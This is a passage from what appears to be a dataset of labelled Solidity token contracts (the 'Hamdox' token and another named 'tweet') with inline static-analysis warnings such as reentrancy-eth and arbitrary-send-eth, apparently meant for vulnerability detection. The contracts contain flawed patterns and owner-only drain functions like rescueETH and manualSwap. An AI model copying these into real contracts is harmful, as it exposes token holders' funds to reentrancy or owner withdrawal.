4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n require(\n msg.value == 1 ether,\n \"You must send exactly 1 ETH when deploying the contract.\"\n );\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b4b4adf): tweet.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b4b4adf: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3a902ff): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3a902ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2eb883e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2eb883e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3a902ff\n\t\t// reentrancy-benign | ID: 2eb883e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3a902ff\n\t\t// reentrancy-benign | ID: 2eb883e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bcafb9d): tweet._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bcafb9d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2eb883e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3a902ff\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e5d65eb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e5d65eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3d0a7c3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3d0a7c3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 2, \"Only 2 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e5d65eb\n\t\t\t\t// reentrancy-eth | ID: 3d0a7c3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e5d65eb\n\t\t\t\t\t// reentrancy-eth | ID: 3d0a7c3\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 3d0a7c3\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 3d0a7c3\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3d0a7c3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e5d65eb\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3d0a7c3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3d0a7c3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e5d65eb\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3a902ff\n\t\t// reentrancy-events | ID: e5d65eb\n\t\t// reentrancy-benign | ID: 2eb883e\n\t\t// reentrancy-eth | ID: 3d0a7c3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8f6b69a): tweet.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8f6b69a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3a902ff\n\t\t// reentrancy-events | ID: e5d65eb\n\t\t// reentrancy-eth | ID: 3d0a7c3\n\t\t// arbitrary-send-eth | ID: 8f6b69a\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8418171): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8418171: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f5f5a5f): tweet.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f5f5a5f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b0c5c85): tweet.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b0c5c85: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b403079): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b403079: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 8418171\n\t\t// reentrancy-eth | ID: b403079\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 8418171\n\t\t// unused-return | ID: b0c5c85\n\t\t// reentrancy-eth | ID: b403079\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8418171\n\t\t// unused-return | ID: f5f5a5f\n\t\t// reentrancy-eth | ID: b403079\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 8418171\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b403079\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_1074.sol",
"size_bytes": 19832,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract HAMDOX is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2aa2ce7): HAMDOX._taxWallet should be constant \n\t// Recommendation for 2aa2ce7: Add the 'constant' attribute to state variables that never change.\n address payable private _taxWallet =\n payable(0x156D1b9ac13DeE82A2f2885161E551f83Bf38e49);\n\n\t// WARNING Optimization Issue (constable-states | ID: f6487de): HAMDOX._initialBuyTax should be constant \n\t// Recommendation for f6487de: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: aaf7fba): HAMDOX._initialSellTax should be constant \n\t// Recommendation for aaf7fba: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 213c707): HAMDOX._reduceBuyTaxAt should be constant \n\t// Recommendation for 213c707: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff1dbfa): HAMDOX._reduceSellTaxAt should be constant \n\t// Recommendation for ff1dbfa: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5b3b97): HAMDOX._preventSwapBefore should be constant \n\t// Recommendation for e5b3b97: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"First doxxed hamster\";\n\n string private constant _symbol = unicode\"Hamdox\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b628c28): HAMDOX._taxSwapThreshold should be constant \n\t// Recommendation for b628c28: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c786e9): HAMDOX._maxTaxSwap should be constant \n\t// Recommendation for 2c786e9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 8400000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 34d3f62): HAMDOX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 34d3f62: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 57ea304): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 57ea304: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4c17753): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4c17753: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 57ea304\n\t\t// reentrancy-benign | ID: 4c17753\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 57ea304\n\t\t// reentrancy-benign | ID: 4c17753\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 87e5fb7): HAMDOX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 87e5fb7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4c17753\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 57ea304\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: afb1c31): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for afb1c31: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fc9f6f7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fc9f6f7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: afb1c31\n\t\t\t\t// reentrancy-eth | ID: fc9f6f7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: afb1c31\n\t\t\t\t\t// reentrancy-eth | ID: fc9f6f7\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: fc9f6f7\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: fc9f6f7\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: fc9f6f7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: afb1c31\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: fc9f6f7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: fc9f6f7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: afb1c31\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: afb1c31\n\t\t// reentrancy-events | ID: 57ea304\n\t\t// reentrancy-benign | ID: 4c17753\n\t\t// reentrancy-eth | ID: fc9f6f7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: afb1c31\n\t\t// reentrancy-events | ID: 57ea304\n\t\t// reentrancy-eth | ID: fc9f6f7\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 181961c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 181961c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a4a39a0): HAMDOX.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a4a39a0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d9494d5): HAMDOX.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d9494d5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3324d20): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3324d20: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 181961c\n\t\t// reentrancy-eth | ID: 3324d20\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 181961c\n\t\t// unused-return | ID: a4a39a0\n\t\t// reentrancy-eth | ID: 3324d20\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 181961c\n\t\t// unused-return | ID: d9494d5\n\t\t// reentrancy-eth | ID: 3324d20\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 181961c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3324d20\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: e8f9402): HAMDOX.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for e8f9402: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: e8f9402\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10740.sol",
"size_bytes": 19842,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, 